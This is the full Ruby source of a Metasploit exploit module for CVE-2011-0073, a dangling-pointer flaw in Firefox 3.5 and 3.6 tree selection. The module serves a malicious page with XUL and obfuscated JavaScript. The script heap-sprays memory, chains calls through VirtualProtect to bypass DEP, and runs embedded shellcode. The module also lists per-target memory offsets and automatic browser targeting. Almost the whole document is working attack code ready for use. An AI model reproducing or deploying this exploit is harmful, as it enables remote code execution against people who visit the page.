Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability

`##  
# $Id: mozilla_nstreerange.rb 13148 2011-07-10 21:10:45Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
include Msf::Exploit::Remote::HttpServer::HTML  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::FF,  
:ua_minver => "3.5",  
:ua_maxver => "3.6.16",  
:os_name => OperatingSystems::WINDOWS,  
:javascript => true,  
:rank => NormalRanking,  
:vuln_test => "if (navigator.userAgent.indexOf('Windows NT 5.1') != -1 || navigator.javaEnabled()) { is_vuln = true; }",  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability',  
'Description' => %q{  
This module exploits a code execution vulnerability in Mozilla Firefox  
3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection.  
By overwriting a subfunction of invalidateSelection it is possible to free the   
nsTreeRange object that the function currently operates on.   
Any further operations on the freed object can result in remote code execution.  
Utilizing the call setup the function provides it's possible to bypass DEP  
without the need for a ROP. Sadly this exploit is still either dependent  
on Java or bound by ASLR because Firefox doesn't employ any ASLR-free  
modules anymore.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'regenrecht', # discovered and sold to ZDI  
'xero', # Shenanigans  
],  
'Version' => '$Revision: 13148 $',  
'References' =>  
[  
['CVE', '2011-0073'],  
['OSVDB', '72087'],  
['BID', '47663'],  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-157/'],  
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'],  
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread', # graceful exit if run in separate thread  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 0x1000, # depending on the spray size it's actually a lot more  
'BadChars' => "",  
},  
'Targets' =>  
[  
[ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Auto' => true,  
'Targets' => [['navigator.userAgent.indexOf("Windows NT 5.1") != -1', 1],  
['navigator.javaEnabled()', 2]],  
'UsesJava' => true  
}  
],  
[ 'Firefox Runtime, fails with ASLR',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'VPOffset' => 0x781A91F8, # VirtualProtect  
'LLOffset' => 0x781A9104, # LoadLibraryA  
'GPAOffset' => 0x781A9014, # GetProcAddress  
'UsesJava' => false  
}  
],  
[ 'Java Runtime (7.10.3052.4), best against ASLR',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'VPOffset' => 0x7C37A140,  
'LLOffset' => 0x7C37A0B8,  
'GPAOffset' => 0x7C37A00C,  
'UsesJava' => true  
}  
],  
[ 'Java JVM (20.1.0.02)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'VPOffset' => 0x6D9FC094,  
'LLOffset' => 0x6D9FC110,  
'GPAOffset' => 0x6D9FC188,  
'UsesJava' => true  
}  
],  
[ 'Java Regutils (6.0.260.3)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'VPOffset' => 0x6D6C227C,  
'LLOffset' => 0x6D6C2198,  
'GPAOffset' => 0x6D6C2184,  
'UsesJava' => true  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 2 2011'  
))  
  
register_options(  
[  
OptBool.new('SEHProlog', [ true, 'Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit', true]),  
OptBool.new('CreateThread', [ true, 'Whether to execute the payload in a new thread', true]),  
], self.class  
)  
  
register_advanced_options(  
[  
OptInt.new('BaseOffset', [ true, 'The offset we hope to have overwritten with our heap spray', 0x0F000000 ]),  
OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks', 0x100000 ]),  
OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 200 ]),  
OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]),  
OptBool.new('Crash', [ true, 'Usa an invalid offset to make the exploit crash (for debugging)', false ]),  
], self.class  
)  
end  
  
def prepare_payload(target, p)  
base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1  
spray_size = datastore['SpraySize']  
  
esp_fix = 0  
callchain = []  
  
# Adding calls by hand is tedious, look at the bottom for an explanation of these values  
add_call = Proc.new { |offset, arg1, arg2, direct |  
next_offset = base_offset + (callchain.flatten.length*4)  
callchain[-1][2] = next_offset if callchain.length > 0 # connect new frame to last one  
  
if direct  
callchain <<  
[  
next_offset + 0x4 - 8,  
next_offset + 0x14,  
0,  
arg1,  
arg2,  
next_offset + 0x18 - 0x70,  
offset  
]  
else  
callchain <<  
[  
next_offset + 0x4 - 8,  
next_offset + 0x14,  
0,  
arg1,  
arg2,  
offset - 0x70  
]  
end  
}  
  
add_call.call(target['LLOffset'], base_offset, 0) # use dummy LoadLibrary call to push valid fourth VirtualProtect argument on stack  
add_call.call(target['VPOffset'], 0x10000, 0x40) # call VirtualProtect to make heap executable  
add_call.call(0xDEADBEEF, 0, 0, true) # call our shellcode  
  
callchain.flatten!  
callchain[-1] = base_offset + (callchain.length*4) # patch last offset to point to shellcode located after callchain  
  
esp_fix = 0x10  
  
payload_buf = callchain.pack('V*')  
  
payload_buf << "\xCC" if datastore['SetBP']  
  
# make rest of shellcode run in separate thread  
if datastore['CreateThread'] and target['LLOffset'] and target['GPAOffset']  
payload_buf << "\x60\x31\xc0\x50\x50\x50\xe8\x00\x00\x00\x00\x5a\x89\xd6"  
payload_buf << "\x52\x83\x04\x24\x3b\x83\xc2\x25\x83\xc6\x2e\x50\x50\x56"  
payload_buf << "\x52\xff\x15#{[target['LLOffset']].pack('V')}\x50\xff\x15#{[target['GPAOffset']].pack('V')}"  
payload_buf << "\xff\xd0\x61\xc2#{[esp_fix].pack('v')}\x6b\x65\x72\x6e\x65\x6c\x33\x32"  
payload_buf << "\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00"  
  
esp_fix = 0  
end  
  
# encapsulate actual payload in SEH handler  
if datastore['SEHProlog']  
payload_buf << "\x60\xe8\x00\x00\x00\x00\x83\x04\x24\x1a\x64\xff\x35\x00"  
payload_buf << "\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x81\xec\x00\x01"  
payload_buf << "\x00\x00\xeb\x12\x8b\x64\x24\x08\x64\x8f\x05\x00\x00\x00"  
payload_buf << "\x00\x83\xc4\x04\x61\xc2"  
payload_buf << [esp_fix].pack('v')  
end  
  
payload_buf << p  
  
# controlled crash, to return to our SEH handler  
payload_buf << "\x33\xC0\xFF\xE0" if datastore['SEHProlog']  
  
payload_buf  
end  
  
def on_request_uri(cli, request)  
  
if request.uri == get_resource() or request.uri =~ /\/$/  
print_status("#{self.refname}: Redirecting #{cli.peerhost}:#{cli.peerport}")  
redir = get_resource()  
redir << '/' if redir[-1,1] != '/'  
redir << rand_text_alphanumeric(4+rand(4))  
redir << '.html'  
send_redirect(cli, redir)  
  
elsif request.uri =~ /\.html?$/  
print_status("#{self.refname}: Sending HTML to #{cli.peerhost}:#{cli.peerport}")  
xul_name = rand_text_alpha(rand(100)+1)  
j_applet = rand_text_alpha(rand(100)+1)  
  
html = <<-EOS  
<html>  
#{"<applet codebase=\".\" code=\"#{j_applet}.class\" width=0 height=0></applet>" if target['UsesJava']}  
<iframe src="#{xul_name}.xul" width="1" height="1" frameborder="0"></iframe>  
</html>  
EOS  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
  
elsif request.uri =~ /\.xul$/  
print_status("#{self.refname}: Sending XUL to #{cli.peerhost}:#{cli.peerport}")  
  
js_file = rand_text_alpha(rand(100)+1)  
@js_func = rand_text_alpha(rand(32)+1)  
  
xul = <<-EOS  
<?xml version="1.0"?>  
<?xml-stylesheet type="text/css"?>  
<window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="#{@js_func}()">  
<script src="#{js_file}.js"/>  
<tree id="tr">  
<treechildren>  
<treeitem>  
<treerow>  
<treecell label=""/>  
</treerow>  
</treeitem>  
</treechildren>  
</tree>  
</window>  
EOS  
send_response(cli, xul, { 'Content-Type' => 'application/vnd.mozilla.xul+xml' })  
  
elsif request.uri =~ /\.js$/  
print_status("#{self.refname}: Sending JS to #{cli.peerhost}:#{cli.peerport}")  
return if ((p = regenerate_payload(cli).encoded) == nil)  
  
base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1  
spray_size = datastore['SpraySize']  
spray_count = datastore['SprayCount']  
  
if not target['Auto']  
escaped_payload = Rex::Text.to_unescape(prepare_payload(target, p))  
shellcode_str = "var shellcode = unescape(\"#{escaped_payload}\");"  
else  
shellcode_str = target['Targets'].map{ |check, index|  
"if (#{check}) {\n var shellcode = unescape(\"#{Rex::Text.to_unescape(prepare_payload(targets[index], p))}\");\n }"}.join(' else ')  
shellcode_str << " else { return; }"  
end  
  
escaped_addr = Rex::Text.to_unescape([base_offset].pack("V"))  
  
custom_js = <<-EOS  
function #{@js_func}() {  
  
container = new Array();  
  
#{shellcode_str}  
  
var delimiter = unescape("%udead");  
  
var block = unescape("#{escaped_addr}");  
while (block.length < 8)  
block += block;  
  
var treeSel = document.getElementById("tr").view.selection;  
  
treeSel.clearSelection();  
  
for (var count = 0; count < 30; ++count)  
container.push(block + delimiter);  
  
treeSel.select(0);  
  
treeSel.tree = {  
invalidateRange: function(s,e) {  
  
treeSel.tree = null;  
treeSel.clearSelection();  
  
for (var count = 0; count < 10; ++count)  
container.push(block + delimiter);  
  
var big = unescape("%u4558%u4f52");  
while (big.length < #{spray_size / 2})  
big += big;  
  
var pad = big.substring(0, #{(base_offset % spray_size)/2}) + shellcode;  
var spray = pad + big.substring(pad.length + 2);  
  
for (var count = 0; count < #{spray_count}; ++count)  
container.push(spray + delimiter);  
}  
}  
  
treeSel.invalidateSelection();  
}  
EOS  
opts = {  
'Symbols' => {  
'Variables' => %w{ shellcode container delimiter block treeSel big pad spray count }  
}  
}  
  
send_response(cli, obfuscate_js(custom_js, opts), { 'Content-Type' => 'application/x-javascript' })  
end  
  
# Handle the payload  
handler(cli)  
end  
end  
  
=begin  
  
ESI points to shellcode  
  
final call looks like this: CALL [[[[ESI]+8]]+70]  
[ESI+10], [ESI+C] and [[ESI]+8] are pushed as arguments  
[ESI+8] points to the next call frame, if there is one  
  
104924BC /$ 56 PUSH ESI  
104924BD |. 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8]  
104924C1 |> 8B06 /MOV EAX,DWORD PTR DS:[ESI]  
104924C3 |. 8B40 08 |MOV EAX,DWORD PTR DS:[EAX+8]  
104924C6 |. 85C0 |TEST EAX,EAX  
104924C8 |. 74 0C |JE SHORT xul.104924D6  
104924CA |. FF76 10 |PUSH DWORD PTR DS:[ESI+10]  
104924CD |. 8B08 |MOV ECX,DWORD PTR DS:[EAX]  
104924CF |. FF76 0C |PUSH DWORD PTR DS:[ESI+C]  
104924D2 |. 50 |PUSH EAX  
104924D3 |. FF51 70 |CALL DWORD PTR DS:[ECX+70] # does the calling for us  
104924D6 |> 8B76 08 |MOV ESI,DWORD PTR DS:[ESI+8]  
104924D9 |. 85F6 |TEST ESI,ESI  
104924DB |.^ 75 E4 \JNZ SHORT xul.104924C1  
104924DD |. 5E POP ESI  
104924DE \. C2 0400 RETN 4  
=end  
`